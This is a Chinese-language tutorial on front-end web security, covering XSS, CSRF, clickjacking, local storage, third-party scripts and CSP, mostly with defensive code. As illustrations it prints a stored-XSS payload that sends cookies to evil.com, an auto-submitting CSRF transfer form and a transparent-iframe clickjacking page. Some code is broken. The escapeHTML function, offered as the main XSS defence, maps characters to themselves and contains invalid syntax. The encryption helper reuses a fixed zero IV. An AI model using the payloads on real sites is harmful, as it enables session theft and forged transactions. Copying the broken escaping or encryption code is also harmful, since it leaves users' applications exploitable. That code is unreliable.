前端安全防护完整指南
概述
前端安全是 Web 应用安全的重要组成部分。随着前端应用越来越复杂,安全风险也在增加。本文将深入讲解常见的前端安全威胁及其防护方案,帮助开发者构建安全可靠的 Web 应用。
安全威胁概览
前端安全威胁分类
前端安全威胁体系
注入类攻击
├── XSS(跨站脚本攻击)
│ ├── 反射型 XSS
│ ├── 存储型 XSS
│ └── DOM 型 XSS
├── SQL 注入(前端相关)
└── 命令注入
身份与会话攻击
├── CSRF(跨站请求伪造)
├── 会话劫持
├── 会话固定
└── Cookie 窃取
客户端攻击
├── 点击劫持
├── 开放重定向
├── 第三方脚本风险
└── 本地存储泄露
传输层攻击
├── 中间人攻击
├── 协议降级
└── 证书欺骗
XSS 跨站脚本攻击
XSS 类型详解
// 1. 反射型 XSS(Reflected XSS)
// 恶意脚本通过 URL 参数注入
// 危险的 URL:
// https://example.com/search?q=<script>alert('XSS')</script>
// 不安全的代码
function unsafeReflectedXSS() {
const params = new URLSearchParams(window.location.search)
const query = params.get('q')
// ❌ 直接插入未转义内容
document.getElementById('result').innerHTML = `搜索结果: ${query}`
}
// 2. 存储型 XSS(Stored XSS)
// 恶意脚本被永久存储在服务器
// 用户提交的评论:
// <script>document.location='https://evil.com?c='+document.cookie</script>
// 不安全的渲染
function unsafeStoredXSS(comment) {
// ❌ 直接渲染用户输入
document.getElementById('comments').innerHTML += `
<div class="comment">${comment.content}</div>
`
}
// 3. DOM 型 XSS(DOM-based XSS)
// 完全在客户端发生,不经过服务器
function unsafeDOMXSS() {
// ❌ 危险:直接使用 location.hash
const hash = location.hash.substring(1)
document.getElementById('content').innerHTML = hash
}
XSS 防御方案
// 防御方案 1:输出编码(最重要)
const escapeHTML = (str) => {
const escapeMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
}
return String(str).replace(/[&<>"'/]/g, (char) => escapeMap[char])
}
// 安全的内容渲染
function safeRender(userInput) {
const safeContent = escapeHTML(userInput)
document.getElementById('output').innerHTML = safeContent
}
// 防御方案 2:使用 textContent 而非 innerHTML
function safeTextRender(userInput) {
// ✅ textContent 不会解析 HTML
document.getElementById('output').textContent = userInput
}
// 防御方案 3:使用 DOMPurify 净化 HTML
import DOMPurify from 'dompurify'
function safePurifyRender(userHTML) {
// ✅ 移除所有危险内容
const clean = DOMPurify.sanitize(userHTML, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'target']
})
document.getElementById('output').innerHTML = clean
}
// 防御方案 4:CSP(Content Security Policy)
// 在 HTTP 头中设置
const cspHeader = {
'Content-Security-Policy': [
"default-src 'self'",
"script-src 'self' 'nonce-{random}'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'"
].join('; ')
}
框架中的 XSS 防护
// Vue.js 自动转义
// Vue 模板中的 {{ }} 会自动转义
const vueExample = {
template: `
<!-- ✅ 自动转义,安全 -->
<div>{{ userInput }}</div>
<!-- ❌ v-html 不转义,需要手动净化 -->
<div v-html="sanitizedHTML"></div>
`,
computed: {
sanitizedHTML() {
return DOMPurify.sanitize(this.userHTML)
}
}
}
// React 自动转义
function ReactExample({ userInput }) {
return (
<>
{/* ✅ JSX 表达式自动转义 */}
<div>{userInput}</div>
{/* ❌ dangerouslySetInnerHTML 危险,需要净化 */}
<div dangerouslySetInnerHTML={{
__html: DOMPurify.sanitize(userHTML)
}} />
</>
)
}
CSRF 跨站请求伪造
CSRF 攻击原理
// CSRF 攻击场景示例
// 1. 用户登录银行网站 bank.com
// 2. 用户访问恶意网站 evil.com
// 3. evil.com 页面包含:
// 恶意表单(自动提交)
const maliciousForm = `
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker-account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf-form').submit()</script>
`
// 恶意图片(GET 请求)
const maliciousImage = `
<img src="https://bank.com/transfer?to=attacker&amount=10000">
`
// 问题:浏览器会自动携带 bank.com 的 Cookie
// 服务器无法区分正常请求和伪造请求
CSRF 防御方案
// 防御方案 1:CSRF Token
// 服务端生成,嵌入页面,每次请求携带
// 获取 CSRF Token
function getCSRFToken() {
// 从 meta 标签获取
return document.querySelector('meta[name="csrf-token"]')?.content
// 或从 Cookie 获取
// return document.cookie.match(/csrftoken=([^;]+)/)?.[1]
}
// 请求时携带 Token
async function secureRequest(url, data) {
const response = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCSRFToken() // 携带 Token
},
body: JSON.stringify(data)
})
return response.json()
}
// 防御方案 2:SameSite Cookie
// 设置 Cookie 的 SameSite 属性
const secureCookie = {
// Strict: 完全禁止跨站发送
'Set-Cookie': 'sessionId=xxx; SameSite=Strict; Secure; HttpOnly',
// Lax: 允许顶级导航的 GET 请求(推荐)
'Set-Cookie': 'sessionId=xxx; SameSite=Lax; Secure; HttpOnly'
}
// 防御方案 3:验证 Referer/Origin
// 服务端验证请求来源
function validateOrigin(request) {
const origin = request.headers.origin || request.headers.referer
const allowedOrigins = ['https://example.com', 'https://www.example.com']
if (!origin || !allowedOrigins.some(o => origin.startsWith(o))) {
throw new Error('Invalid origin')
}
}
// 防御方案 4:双重 Cookie 验证
// Cookie 中的值必须与请求头/参数中的值匹配
async function doubleSubmitCookie(url, data) {
const csrfToken = document.cookie.match(/csrf=([^;]+)/)?.[1]
const response = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken // 必须匹配 Cookie 中的值
},
credentials: 'include',
body: JSON.stringify(data)
})
return response.json()
}
点击劫持防护
点击劫持原理
<!-- 攻击者页面 evil.com -->
<style>
#target-frame {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0; /* 完全透明 */
z-index: 100;
}
#fake-button {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
</style>
<!-- 透明的目标网站 iframe -->
<iframe id="target-frame" src="https://bank.com/transfer"></iframe>
<!-- 用户看到的诱骗按钮 -->
<button id="fake-button">点击领取奖品!</button>
<!-- 用户点击"奖品"按钮时,实际点击的是银行的转账按钮 -->
点击劫持防御
// 防御方案 1:X-Frame-Options 响应头
const frameOptions = {
// 完全禁止嵌入
'X-Frame-Options': 'DENY',
// 只允许同源嵌入
'X-Frame-Options': 'SAMEORIGIN',
// 允许特定域名(已废弃,使用 CSP)
'X-Frame-Options': 'ALLOW-FROM https://trusted.com'
}
// 防御方案 2:CSP frame-ancestors
const cspFrameAncestors = {
// 禁止任何嵌入
'Content-Security-Policy': "frame-ancestors 'none'",
// 只允许同源
'Content-Security-Policy': "frame-ancestors 'self'",
// 允许特定域名
'Content-Security-Policy': "frame-ancestors 'self' https://trusted.com"
}
// 防御方案 3:JavaScript 框架破坏(Frame Busting)
// 检测是否被嵌入 iframe
if (window.top !== window.self) {
// 尝试跳出 iframe
window.top.location = window.self.location
}
// 更安全的检测方式
function preventFraming() {
try {
// 如果被嵌入且跨域,访问 top.location.href 会抛出错误
if (window.top.location.href !== window.self.location.href) {
window.top.location = window.self.location
}
} catch (e) {
// 跨域嵌入,强制跳出
window.top.location = window.self.location
}
}
敏感数据保护
本地存储安全
// ❌ 不安全的存储方式
function unsafeStorage() {
// 明文存储敏感信息
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...')
localStorage.setItem('userPassword', 'user123')
}
// ✅ 安全的存储策略
const secureStorage = {
// 1. 不存储敏感信息
// Token 应该存储在 HttpOnly Cookie 中
// 2. 如果必须使用 localStorage,加密存储
encrypt(data, key) {
// 使用 Web Crypto API
return window.crypto.subtle.encrypt(
{ name: 'AES-GCM', iv: new Uint8Array(12) },
key,
new TextEncoder().encode(data)
)
},
// 3. 存储非敏感的、可接受泄露的数据
safeData: ['theme', 'language', 'lastVisitedPage'],
// 4. 设置合理的过期时间
setWithExpiry(key, value, ttl) {
const item = {
value: value,
expiry: Date.now() + ttl
}
localStorage.setItem(key, JSON.stringify(item))
},
getWithExpiry(key) {
const itemStr = localStorage.getItem(key)
if (!itemStr) return null
const item = JSON.parse(itemStr)
if (Date.now() > item.expiry) {
localStorage.removeItem(key)
return null
}
return item.value
}
}
// 清理敏感数据
function clearSensitiveData() {
// 退出登录时清理
localStorage.clear()
sessionStorage.clear()
// 清理特定 Cookie
document.cookie.split(';').forEach(cookie => {
const name = cookie.split('=')[0].trim()
document.cookie = `${name}=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/`
})
}
密码安全
// 前端密码处理最佳实践
const passwordSecurity = {
// 1. 永远不要明文传输密码
// 使用 HTTPS
// 2. 前端哈希(可选,主要依赖后端)
async hashPassword(password) {
const encoder = new TextEncoder()
const data = encoder.encode(password)
const hashBuffer = await crypto.subtle.digest('SHA-256', data)
return Array.from(new Uint8Array(hashBuffer))
.map(b => b.toString(16).padStart(2, '0'))
.join('')
},
// 3. 密码强度检查
checkStrength(password) {
const checks = {
length: password.length >= 8,
lowercase: /[a-z]/.test(password),
uppercase: /[A-Z]/.test(password),
numbers: /[0-9]/.test(password),
special: /[!@#$%^&*(),.?":{}|<>]/.test(password)
}
const score = Object.values(checks).filter(Boolean).length
return {
score,
checks,
strength: score < 3 ? 'weak' : score < 5 ? 'medium' : 'strong'
}
},
// 4. 防止密码泄露到日志
sanitizeForLogging(data) {
const sensitiveFields = ['password', 'token', 'secret', 'key']
const sanitized = { ...data }
sensitiveFields.forEach(field => {
if (field in sanitized) {
sanitized[field] = '[REDACTED]'
}
})
return sanitized
}
}
第三方脚本安全
第三方脚本风险
// 第三方脚本可能的风险
const thirdPartyRisks = {
// 1. 数据窃取
dataTheft: '访问 DOM、Cookie、localStorage',
// 2. 恶意行为
maliciousActions: '修改页面内容、重定向用户',
// 3. 性能影响
performance: '阻塞渲染、占用资源',
// 4. 供应链攻击
supplyChain: '脚本被入侵后注入恶意代码'
}
第三方脚本防护
// 防护方案 1:Subresource Integrity (SRI)
// 验证脚本内容完整性
const sriExample = `
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>
`
// 防护方案 2:CSP 限制
const cspForThirdParty = {
'Content-Security-Policy': [
"script-src 'self' https://trusted-cdn.com",
"connect-src 'self' https://api.trusted.com"
].join('; ')
}
// 防护方案 3:沙箱化第三方脚本
function sandboxThirdParty() {
// 使用 iframe 隔离
const sandbox = document.createElement('iframe')
sandbox.sandbox = 'allow-scripts' // 限制权限
sandbox.src = 'about:blank'
document.body.appendChild(sandbox)
// 在 iframe 中加载脚本
sandbox.contentDocument.write(`
<script src="https://third-party.com/script.js"></script>
`)
}
// 防护方案 4:监控第三方脚本行为
const scriptMonitor = {
// 记录所有外部请求
init() {
const originalFetch = window.fetch
window.fetch = function(...args) {
console.log('Fetch request:', args[0])
// 可以在这里进行拦截或上报
return originalFetch.apply(this, args)
}
const originalXHR = XMLHttpRequest.prototype.open
XMLHttpRequest.prototype.open = function(method, url) {
console.log('XHR request:', url)
return originalXHR.apply(this, arguments)
}
}
}
Content Security Policy (CSP)
CSP 配置详解
// 完整的 CSP 配置示例
const cspPolicy = {
// 默认策略
"default-src": ["'self'"],
// 脚本来源
"script-src": [
"'self'",
"'nonce-{random}'", // 内联脚本需要 nonce
"https://trusted-cdn.com"
],
// 样式来源
"style-src": [
"'self'",
"'unsafe-inline'", // 允许内联样式(谨慎使用)
"https://fonts.googleapis.com"
],
// 图片来源
"img-src": [
"'self'",
"data:",
"https:"
],
// 字体来源
"font-src": [
"'self'",
"https://fonts.gstatic.com"
],
// API 请求
"connect-src": [
"'self'",
"https://api.example.com",
"wss://websocket.example.com"
],
// iframe 嵌入
"frame-src": ["'none'"],
// 被嵌入
"frame-ancestors": ["'none'"],
// 表单提交
"form-action": ["'self'"],
// 升级不安全请求
"upgrade-insecure-requests": true,
// 报告违规
"report-uri": "/csp-report"
}
// 生成 CSP 头
function generateCSPHeader(policy) {
return Object.entries(policy)
.map(([key, values]) => {
if (typeof values === 'boolean') {
return values ? key : ''
}
return `${key} ${values.join(' ')}`
})
.filter(Boolean)
.join('; ')
}
CSP 报告与监控
// 接收 CSP 违规报告
// server/api/csp-report.ts
export default defineEventHandler(async (event) => {
const body = await readBody(event)
// 记录违规报告
console.log('CSP Violation:', body['csp-report'])
// 可以发送到监控系统
await sendToMonitoring({
type: 'csp-violation',
details: body['csp-report'],
timestamp: Date.now()
})
return { received: true }
})
// 使用 Report-Only 模式测试
const cspReportOnly = {
'Content-Security-Policy-Report-Only': `
default-src 'self';
script-src 'self';
report-uri /csp-report
`
}
安全编码最佳实践
输入验证
// 前端输入验证(防御层之一,不能替代后端验证)
const inputValidation = {
// 邮箱验证
isValidEmail(email) {
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/
return emailRegex.test(email)
},
// URL 验证(防止 javascript: 协议)
isValidURL(url) {
try {
const parsed = new URL(url)
return ['http:', 'https:'].includes(parsed.protocol)
} catch {
return false
}
},
// 安全的重定向
safeRedirect(url) {
// 只允许同源或白名单域名
const allowedDomains = ['example.com', 'trusted.com']
try {
const parsed = new URL(url, window.location.origin)
// 检查是否同源
if (parsed.origin === window.location.origin) {
return url
}
// 检查是否在白名单
if (allowedDomains.some(d => parsed.hostname.endsWith(d))) {
return url
}
// 不安全的 URL,返回首页
return '/'
} catch {
return '/'
}
},
// 清理文件名(防止路径遍历)
sanitizeFileName(name) {
return name
.replace(/\.\./g, '') // 移除路径遍历
.replace(/[/\\]/g, '') // 移除路径分隔符
.replace(/[<>:"|?*]/g, '') // 移除非法字符
}
}
安全的 API 调用
// 安全的 API 调用封装
class SecureAPI {
constructor(baseURL) {
this.baseURL = baseURL
}
async request(endpoint, options = {}) {
const url = new URL(endpoint, this.baseURL)
// 确保使用 HTTPS
if (url.protocol !== 'https:' && !url.hostname.includes('localhost')) {
throw new Error('Only HTTPS is allowed')
}
const defaultOptions = {
credentials: 'same-origin', // 或 'include' 用于跨域
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest' // 标识 AJAX 请求
}
}
// 添加 CSRF Token
const csrfToken = this.getCSRFToken()
if (csrfToken) {
defaultOptions.headers['X-CSRF-Token'] = csrfToken
}
const response = await fetch(url.toString(), {
...defaultOptions,
...options,
headers: {
...defaultOptions.headers,
...options.headers
}
})
// 检查响应
if (!response.ok) {
const error = await response.json().catch(() => ({}))
throw new Error(error.message || `HTTP ${response.status}`)
}
return response.json()
}
getCSRFToken() {
return document.querySelector('meta[name="csrf-token"]')?.content
}
// 安全的 GET 请求
async get(endpoint, params = {}) {
const url = new URL(endpoint, this.baseURL)
Object.entries(params).forEach(([key, value]) => {
url.searchParams.append(key, value)
})
return this.request(url.toString())
}
// 安全的 POST 请求
async post(endpoint, data) {
return this.request(endpoint, {
method: 'POST',
body: JSON.stringify(data)
})
}
}
安全检查清单
开发阶段
// 安全检查清单
const securityChecklist = {
xss: [
'所有用户输入都经过转义或净化',
'使用 textContent 而非 innerHTML',
'如需渲染 HTML,使用 DOMPurify',
'实施了 CSP 策略',
'框架的自动转义功能已启用'
],
csrf: [
'所有状态修改请求都携带 CSRF Token',
'Cookie 设置了 SameSite 属性',
'验证了请求的 Origin/Referer'
],
authentication: [
'Token 存储在 HttpOnly Cookie 中',
'实施了合理的会话超时',
'敏感操作需要重新验证'
],
dataProtection: [
'localStorage 中没有敏感数据',
'密码从不明文存储或日志记录',
'使用 HTTPS 传输所有数据'
],
thirdParty: [
'第三方脚本使用了 SRI',
'限制了第三方脚本权限',
'定期审计第三方依赖'
]
}
常见问题解答
Q: 前端验证能否替代后端验证? A: 不能。前端验证只是用户体验优化和第一道防线,所有安全验证必须在后端重复进行,因为前端代码可以被绑过。
Q: JWT 应该存储在哪里? A: 最安全的方式是存储在 HttpOnly Cookie 中(防止 XSS 窃取),配合 CSRF Token 防止 CSRF 攻击。localStorage 容易被 XSS 攻击窃取。
Q: 如何安全地处理用户上传的文件? A: 前端只做格式和大小校验,真正的安全检查(类型验证、病毒扫描、内容检测)必须在后端进行。永远不要信任客户端的 MIME 类型声明。
Q: CSP 会影响性能吗? A: CSP 本身开销很小。但如果配置过于严格导致需要频繁调整,可能影响开发效率。建议先用 Report-Only 模式测试。
总结
前端安全是一个多层防御的过程:
- XSS 防护 - 输出编码、CSP、使用安全 API
- CSRF 防护 - Token、SameSite Cookie、Origin 验证
- 点击劫持防护 - X-Frame-Options、CSP frame-ancestors
- 数据保护 - 安全存储、HTTPS、敏感数据处理
- 第三方安全 - SRI、沙箱化、监控
记住:安全是持续的过程,需要定期审计和更新。


